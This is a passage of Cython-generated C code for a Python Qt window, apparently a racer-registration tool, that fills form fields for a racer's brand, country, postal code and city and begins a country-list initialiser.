184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setCurrentIndex); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_brandMenu); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_findData); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyObject_GetItem(__pyx_v_racer, __pyx_n_u_moto); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_11 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_11)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_11); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_11) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_11, __pyx_t_3}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_11, __pyx_t_3}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_11); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_11); __pyx_t_11 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_2, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_12))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_12); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_12); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_12, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_12, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_12)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_12, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_12)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_12, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":185 * self.R_transponder.setText( "%d"%racer['transponder']) * self.R_brandMenu.setCurrentIndex( self.R_brandMenu.findData(racer['moto'])) * pa = racer['pays'] # <<<<<<<<<<<<<< * if pa == None: * pa = 'CHE' */ __pyx_t_1 = PyObject_GetItem(__pyx_v_racer, __pyx_n_u_pays); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 185, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_XDECREF_SET(__pyx_v_pa, __pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":186 * self.R_brandMenu.setCurrentIndex( self.R_brandMenu.findData(racer['moto'])) * pa = racer['pays'] * if pa == None: # <<<<<<<<<<<<<< * pa = 'CHE' * self.R_Pays.setCurrentIndex( self.R_Pays.findData( pa )) */ __pyx_t_1 = PyObject_RichCompare(__pyx_v_pa, Py_None, Py_EQ); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 186, __pyx_L1_error) __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_6 < 0)) __PYX_ERR(0, 186, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_6) { /* "MainWindow.py":187 * pa = racer['pays'] * if pa == None: * pa = 'CHE' # <<<<<<<<<<<<<< * self.R_Pays.setCurrentIndex( self.R_Pays.findData( pa )) * self.__RacerEdited = item */ __Pyx_INCREF(__pyx_n_u_CHE); __Pyx_DECREF_SET(__pyx_v_pa, __pyx_n_u_CHE); /* "MainWindow.py":186 * self.R_brandMenu.setCurrentIndex( self.R_brandMenu.findData(racer['moto'])) * pa = racer['pays'] * if pa == None: # <<<<<<<<<<<<<< * pa = 'CHE' * self.R_Pays.setCurrentIndex( self.R_Pays.findData( pa )) */ } /* "MainWindow.py":188 * if pa == None: * pa = 'CHE' * self.R_Pays.setCurrentIndex( self.R_Pays.findData( pa )) # <<<<<<<<<<<<<< * self.__RacerEdited = item * self.R_Npa.setText( racer['npa']) */ __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Pays); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_setCurrentIndex); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Pays); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_findData); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_4) { __pyx_t_12 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_v_pa); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_pa}; __pyx_t_12 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_12); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_pa}; __pyx_t_12 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_12); } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_INCREF(__pyx_v_pa); __Pyx_GIVEREF(__pyx_v_pa); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_v_pa); __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_3, NULL); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_12); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_12}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_12}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_12); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_12); __pyx_t_12 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":189 * pa = 'CHE' * self.R_Pays.setCurrentIndex( self.R_Pays.findData( pa )) * self.__RacerEdited = item # <<<<<<<<<<<<<< * self.R_Npa.setText( racer['npa']) * self.R_City.setText( racer['ville']) */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_MainWindow__RacerEdited, __pyx_v_item) < 0) __PYX_ERR(0, 189, __pyx_L1_error) /* "MainWindow.py":190 * self.R_Pays.setCurrentIndex( self.R_Pays.findData( pa )) * self.__RacerEdited = item * self.R_Npa.setText( racer['npa']) # <<<<<<<<<<<<<< * self.R_City.setText( racer['ville']) * if racer['npa'] == None: */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_GetItem(__pyx_v_racer, __pyx_n_u_npa); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_12 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_12)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_12); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_12) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_12, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_12, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_12); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_12); __pyx_t_12 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":191 * self.__RacerEdited = item * self.R_Npa.setText( racer['npa']) * self.R_City.setText( racer['ville']) # <<<<<<<<<<<<<< * if racer['npa'] == None: * self.findVille() */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_City); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyObject_GetItem(__pyx_v_racer, __pyx_n_u_ville); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_12 = PyTuple_New(1+1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_12, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_12, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_12, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":192 * self.R_Npa.setText( racer['npa']) * self.R_City.setText( racer['ville']) * if racer['npa'] == None: # <<<<<<<<<<<<<< * self.findVille() * if racer['ville'] == None: */ __pyx_t_1 = PyObject_GetItem(__pyx_v_racer, __pyx_n_u_npa); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = PyObject_RichCompare(__pyx_t_1, Py_None, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_6 < 0)) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (__pyx_t_6) { /* "MainWindow.py":193 * self.R_City.setText( racer['ville']) * if racer['npa'] == None: * self.findVille() # <<<<<<<<<<<<<< * if racer['ville'] == None: * self.findNpa() */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findVille); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_12 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_12)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_12); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_12) { __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_12); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } else { __pyx_t_5 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 193, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":192 * self.R_Npa.setText( racer['npa']) * self.R_City.setText( racer['ville']) * if racer['npa'] == None: # <<<<<<<<<<<<<< * self.findVille() * if racer['ville'] == None: */ } /* "MainWindow.py":194 * if racer['npa'] == None: * self.findVille() * if racer['ville'] == None: # <<<<<<<<<<<<<< * self.findNpa() * */ __pyx_t_5 = PyObject_GetItem(__pyx_v_racer, __pyx_n_u_ville); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_1 = PyObject_RichCompare(__pyx_t_5, Py_None, Py_EQ); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_6 < 0)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_6) { /* "MainWindow.py":195 * self.findVille() * if racer['ville'] == None: * self.findNpa() # <<<<<<<<<<<<<< * * def initGuiPays(self): */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNpa); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_12 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_12)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_12); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (__pyx_t_12) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_12); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 195, __pyx_L1_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 195, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":194 * if racer['npa'] == None: * self.findVille() * if racer['ville'] == None: # <<<<<<<<<<<<<< * self.findNpa() * */ } } __pyx_L27:; /* "MainWindow.py":134 * self.editRacer( item[0] ) * * def editRacer(self, item): # <<<<<<<<<<<<<< * id = item.data(Globals.UserRole) * print (id) */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_11); __Pyx_XDECREF(__pyx_t_12); __Pyx_AddTraceback("MainWindow.MainWindow.editRacer", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_id); __Pyx_XDECREF(__pyx_v_racer); __Pyx_XDECREF(__pyx_v_oldracerItem); __Pyx_XDECREF(__pyx_v_rl); __Pyx_XDECREF(__pyx_v_rf); __Pyx_XDECREF(__pyx_v_rn); __Pyx_XDECREF(__pyx_v_rt); __Pyx_XDECREF(__pyx_v_rm); __Pyx_XDECREF(__pyx_v_rp); __Pyx_XDECREF(__pyx_v_rc); __Pyx_XDECREF(__pyx_v_pa); __Pyx_XDECREF(__pyx_v_oldracer); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":197 * self.findNpa() * * def initGuiPays(self): # <<<<<<<<<<<<<< * self.pays = T_Pays() * self.R_Pays.clear() */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_25initGuiPays(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_25initGuiPays = {"initGuiPays", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_25initGuiPays, METH_O, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_25initGuiPays(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("initGuiPays (wrapper)", 0); __pyx_r = __pyx_pf_10MainWindow_10MainWindow_24initGuiPays(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_24initGuiPays(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_v_i = NULL; PyObject *__pyx_v_c = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; int __pyx_t_4; PyObject *__pyx_t_5 = NULL; int __pyx_t_6; PyObject *__pyx_t_7 = NULL; PyObject 